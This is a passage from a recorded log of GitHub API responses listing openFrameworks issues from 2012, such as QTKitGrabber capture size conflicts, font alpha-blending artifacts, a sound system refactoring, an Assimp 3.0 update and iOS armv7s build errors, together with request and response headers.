8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":0,"created_at":"2012-10-07T17:49:57Z","updated_at":"2013-02-11T12:12:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"(Copied over from #1428) \r\nSome functions/classes/etc have been deprecated in 0073. It's time to remove them at some point. I have tentatively scheduled this point to be 0075 (i.e. 2 releases after deprecation). ~ half a year (including inevitable delays) should allow plenty of time for people to notice the warnings.\r\n\r\nList of deprecations:\r\n`bla`, \r\n`blubb` (group by file or something)"}] https GET api.github.com None /repositories/345337/issues?page=2&per_page=100 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4963'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '322304'), ('server', 'GitHub.com'), ('last-modified', 'Mon, 11 Mar 2013 10:11:56 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"9d1c9cd0db105699c994ba8b16296c1b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Mar 2013 10:12:55 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1647","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1647/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1647/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1647/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1647","id":7406372,"number":1647,"title":"QTKitGrabber capture dimensions can change without warning.","user":{"login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":{"login":"obviousjim","id":321434,"avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","url":"https://api.github.com/users/obviousjim","html_url":"https://github.com/obviousjim","followers_url":"https://api.github.com/users/obviousjim/followers","following_url":"https://api.github.com/users/obviousjim/following","gists_url":"https://api.github.com/users/obviousjim/gists{/gist_id}","starred_url":"https://api.github.com/users/obviousjim/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/obviousjim/subscriptions","organizations_url":"https://api.github.com/users/obviousjim/orgs","repos_url":"https://api.github.com/users/obviousjim/repos","events_url":"https://api.github.com/users/obviousjim/events{/privacy}","received_events_url":"https://api.github.com/users/obviousjim/received_events","type":"User"},"milestone":null,"comments":1,"created_at":"2012-10-07T17:05:01Z","updated_at":"2012-10-27T16:41:19Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"@obviousjim \r\n\r\nWith the fancy new QTKitGrabber -- multiple programs can access the camera device at the same time, but either program can set the current capture dimensions, and that capture dimension is applied to all using the camera.\r\n\r\nThis becomes evident if one runs the `osxVideoRecorderExample` example (which runs at native 1280x720 on my mac), and THEN open the standard `videoGrabberExample` which is capturing at 320x240. It will change the current capture size _back_ in `osxVideoRecorderExample`, but `osxVideoRecorderExample` won't know about the change.\r\n\r\nAnother fun trick is to open PhotoBooth (which must use QTKit). If you open the standard `videoGrabberExample`, it will resize photobooth's stream.\r\n\r\nThis does not apply when a legacy capture is happening. For instance, if you open up [jit.qt.grab] in max5, the device will appear \"in use\" to all QtKit renderers.\r\n\r\nAnyway, device sharing seems like a great new feature, but if other capture devices don't know about the changes to capture dimension, it could be a problem. \r\n\r\nPerhaps a warning should be thrown if the device is already open? Perhaps there is an internal capture size callback / event in the QTKitGrabber?\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1642","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1642/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1642/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1642/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1642","id":7396649,"number":1642,"title":"capitalize compile targets on windows","user":{"login":"benben","id":124513,"avatar_url":"https://secure.gravatar.com/avatar/6aed6a0dfa09b46d6fbd5149eb56def8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6aed6a0dfa09b46d6fbd5149eb56def8","url":"https://api.github.com/users/benben","html_url":"https://github.com/benben","followers_url":"https://api.github.com/users/benben/followers","following_url":"https://api.github.com/users/benben/following","gists_url":"https://api.github.com/users/benben/gists{/gist_id}","starred_url":"https://api.github.com/users/benben/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/benben/subscriptions","organizations_url":"https://api.github.com/users/benben/orgs","repos_url":"https://api.github.com/users/benben/repos","events_url":"https://api.github.com/users/benben/events{/privacy}","received_events_url":"https://api.github.com/users/benben/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-10-06T12:31:11Z","updated_at":"2012-10-06T12:31:11Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It would be cool to rename the targets for codeblocks on win with capital letters.\r\nOn Mac & Linux its \"Release\" and \"Debug\".\r\nOn Windows Codeblocks its \"release\" and \"debug\".\r\n \r\nIs this possible for codeblocks?\r\n\r\nDon't know whats going on with VC, though."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1639","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1639/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1639/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1639/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1639","id":7378577,"number":1639,"title":"Feature: Icons added for Debug and Release for OS X - option to modify icons for specific projects","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":23,"created_at":"2012-10-05T13:47:23Z","updated_at":"2013-02-11T12:12:36Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1639","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1639.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1639.patch"},"body":"\r\nThanks to @NickHardeman for getting this working - I just had to modify it a bit to work with the project generator. \r\n\r\n- Seperate icons for Debug and Release\r\n- For a project that needs a specific icon you can place the files in the data folder and change one line in Project.xconfig to have it use the different icons. \r\n- Default icons are stores in the openFrameworksCompiled/project/osx/ folder with the other xcode specific files. \r\n\r\nThis relates to: but does not close - #1039"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1631","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1631/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1631/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1631/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1631","id":7291405,"number":1631,"title":"ofPASoundStream and ofxiPhoneSoundStream ignore nBuffers parameter","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-10-02T12:32:31Z","updated_at":"2012-10-02T12:32:31Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"this can cause clicks in audio under heavy CPU usage.\r\n\r\nsolution: implement our own non-blocking FIFO to allow nBuffers to work"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1626","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1626/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1626/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1626/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1626","id":7260825,"number":1626,"title":"feature: sound system refactoring","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":7,"created_at":"2012-10-01T13:13:57Z","updated_at":"2012-10-06T13:18:39Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1626","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1626.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1626.patch"},"body":"Don't merge yet!\r\n\r\nThis PR+the branch on @damiannz's repo are the working place for the refactoring of the sound system. \r\n\r\nFeatures at the moment: \r\n\r\n* ofSoundBuffer a class to store sound buffers equivalent to ofPixels. might need a setFromExternalBuffer and be implemented with float array instead of vector so it can be used to pass the native buffer around without need for copies\r\n\r\n* ofSoundFile: allows to read from sound files to sound buffers, would be good to add writting too, probably should inherit from ofFile\r\n\r\n* ofBasicSoundPlayer: a sound player that can be used on any platform that supports ofSoundStream. it uses ofSoundFile to read sound files and outputs through any ofSoundStream\r\n\r\n* ofSoundMixer: a simple sound mixer\r\n\r\n* ofSoundUtils: a utility file for sound, like commonly used sound interpolations, panning algorithm...* ofSoundBuffer\r\n\r\nSend a pull request to the __feature-ofSoundRefactoring__ branch on @damiannz's fork of oF to add things here.\r\n\r\nDev notes are [here](https://github.com/openframeworks/openFrameworks/wiki/Sound-programming-notes)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1623","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1623/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1623/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1623/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1623","id":7223029,"number":1623,"title":"Font color cast at border due to alpha blending (TTF, AA, no border)","user":{"login":"bogru","id":2446615,"avatar_url":"https://secure.gravatar.com/avatar/7e807135e99bd8e39eecd9bb4e739b0b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"7e807135e99bd8e39eecd9bb4e739b0b","url":"https://api.github.com/users/bogru","html_url":"https://github.com/bogru","followers_url":"https://api.github.com/users/bogru/followers","following_url":"https://api.github.com/users/bogru/following","gists_url":"https://api.github.com/users/bogru/gists{/gist_id}","starred_url":"https://api.github.com/users/bogru/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bogru/subscriptions","organizations_url":"https://api.github.com/users/bogru/orgs","repos_url":"https://api.github.com/users/bogru/repos","events_url":"https://api.github.com/users/bogru/events{/privacy}","received_events_url":"https://api.github.com/users/bogru/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":12,"created_at":"2012-09-28T17:07:43Z","updated_at":"2012-10-10T07:25:18Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\nofDisableAlphaBlending() does not have effect on font.drawString(..)\nWhen AA is enabled, the font has a smooth border, and it is blended with the background. At the border of the font, some color from the background is mixed with font color.\nThe problem appears when we do not want to get color from the background mixed with font color, as the text image will be further blended with other images. Alpha blending should be disabled when the font is drawn. But the font edge looks the same, with a color cast from background at the border, regardless if alpha blending is enabled or not.\nSetup:\nloadFont is called with default params except for font path and size. (border is false)\nImage has 4 channels. Background can be set to black (0,0,0,0). Disable alpha blending. font color is (255, 127, 0, 255)\nIn this case, the issue is that a blackish border appear around the font. (colors like (100, 50, 0, 40) I would expect that at border, font color is maintained, only alpha is changed. (255, 127, 0, 40) or similar.\nTo reproduce it, just save the image as png, and open it with an image viewer that has a different background than the one set in the OF before drawing the font. Maybe try several color for bgnd in OF, so that the color cast is obvious."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1617","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1617/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1617/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1617/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1617","id":7155627,"number":1617,"title":"update assimp to 3.0 ","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":0,"created_at":"2012-09-26T16:56:44Z","updated_at":"2013-02-11T12:12:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Assimp 3.0 was released July 2012 - might be worth looking into. \n\nhttp://assimp.sourceforge.net/index.html\n\nOne thing I read stated that the 3.0 version breaks from the 2.0 api - so it might not be a straight swap.\n\nEdit: here is the changelog \n\n\n3.0 (2012-07-07)\n\nFEATURES:\n - new export interface similar to the import API. \n - Supported export formats: Collada, OBJ, PLY and STL\n - added new import formats: XGL/ZGL, M3 (experimental)\n - new postprocessing steps: Debone\n - vastly improved IFC (Industry Foundation Classes) support\n - introduced API to query importer meta information (such as supported\n format versions, full name, maintainer info).\n - reworked Ogre XML import\n - C-API now supports per-import properties\n\nFIXES/HOUSEKEEPING:\n\n - hundreds of bugfixes in all parts of the library\n - unified naming and cleanup of public headers\n - improved CMake build system\n - templatized math library\n - reduce dependency on boost.thread, only remaining spot\n is synchronization for the C logging API \n\nAPI COMPATIBILITY:\n - renamed headers, export interface, C API properties and meta data\n prevent compatibility with code written for 2.0, but in \n most cases these can be easily resolved\n - Note: 3.0 is not binary compatible with 2.0\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1615","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1615/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1615/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1615/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1615","id":7138350,"number":1615,"title":"ios6 armv7s","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":11,"created_at":"2012-09-26T00:26:54Z","updated_at":"2013-02-11T12:16:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"latest xcode 4.5 builds with the new armv7s architecture by default which is causing errors since not all OF libs have been compiled for armv7s.\n\nthink the issue is only with freeimage,\n\"file is universal (2 slices) but does not contain a(n) armv7s slice: ../../../libs/FreeImage/lib/ios/freeimage.a for architecture armv7s\"\n\nwe can recompile freeimage.a with armv7s\nor as temporary solution, remove armv7s from VALID_ARCHS\n\nremoving armv7s from VALID_ARCHS will mean that the ios xcode template project will have to be updated so that projectGenerator can make ios xcode projects without armv7s."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1605","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1605/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1605/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1605/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1605","id":6987537,"number":1605,"title":"ofMaterial invalid GL_ENUM","user":{"login":"jacres","id":1250485,"avatar_url":"https://secure.gravatar.com/avatar/7ab62068850807cd51b05c82cab45075?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"7ab62068850807cd51b05c82cab45075","url":"https://api.github.com/users/jacres","html_url":"https://github.com/jacres","followers_url":"https://api.github.com/users/jacres/followers","following_url":"https://api.github.com/users/jacres/following","gists_url":"https://api.github.com/users/jacres/gists{/gist_id}","starred_url":"https://api.github.com/users/jacres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacres/subscriptions","organizations_url":"https://api.github.com/users/jacres/orgs","repos_url":"https://api.github.com/users/jacres/repos","events_url":"https://api.github.com/users/jacres/events{/privacy}","received_events_url":"https://api.github.com/users/jacres/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png",